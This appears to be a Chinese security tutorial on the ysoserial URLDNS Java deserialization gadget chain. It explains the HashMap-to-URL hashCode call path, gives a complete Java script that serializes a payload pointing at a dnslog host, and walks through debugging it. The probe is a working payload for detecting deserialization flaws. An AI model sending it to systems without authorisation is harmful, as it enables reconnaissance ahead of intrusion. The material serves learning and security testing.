unsetunset前言unsetunset
URLDNS是ysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点:
-
只能发起 DNS 请求,并不能进行其它利用 -
不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求 -
通过 DNS 请求来验证是否存在反序列化漏洞
unsetunset原理unsetunset
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash()
函数计算 key 的 hashCode。而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress()
来解析域名, 从而发出 DNS 请求。
URLDNS利用链gadget:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
URL.getHostAddress()
InetAddress.getByName()
unsetunset利用脚本unsetunset
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://9d7a5eeb.log.dnslog.sbs");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// f.set(url,123); // 设置hashcode的值为-1以外的其他任何数字(为了防止在序列化的时候就发起一次dns请求,不加这个也行)
map.put(url, "F1rstb100d");
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发
serialize(map);
unserialize();
}
public static void serialize(final Object map) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
}
public static void unserialize() throws Exception {
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
}
unsetunset调试unsetunset
入口点就是HashMap类的readObject方法,结尾处调用了HashMap类自己的hash方法
其hash方法中又调用了key的hashCode方法,此时HashMap中key放的是java.net.URL
对象,也就是调用URL类的hashCode方法
URL类的hashCode方法在hashCode为-1的时候调用handler的hashCode方法,点一下handler看到类是URLStreamHandler,也就是调用了URLStreamHandler的hashCode方法
继续看URLStreamHandler的hashCode方法中其对传入的URL变量u调用了getHostAddress方法
继续往里点看到回到了URL类的getHostAddress方法,其中调用了InetAddress类的getByName方法
查阅JDK文档看到getHostAddress方法是为了请求DNS获取对应域名的ip地址解析,也就是完整的DNS请求链了
unsetunset测试unsetunset
如果服务器出网的话,可以正常收到DNSlog请求
原文始发于微信公众号(智佳网络安全):【JAVA安全】URLDNS反序列化链
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论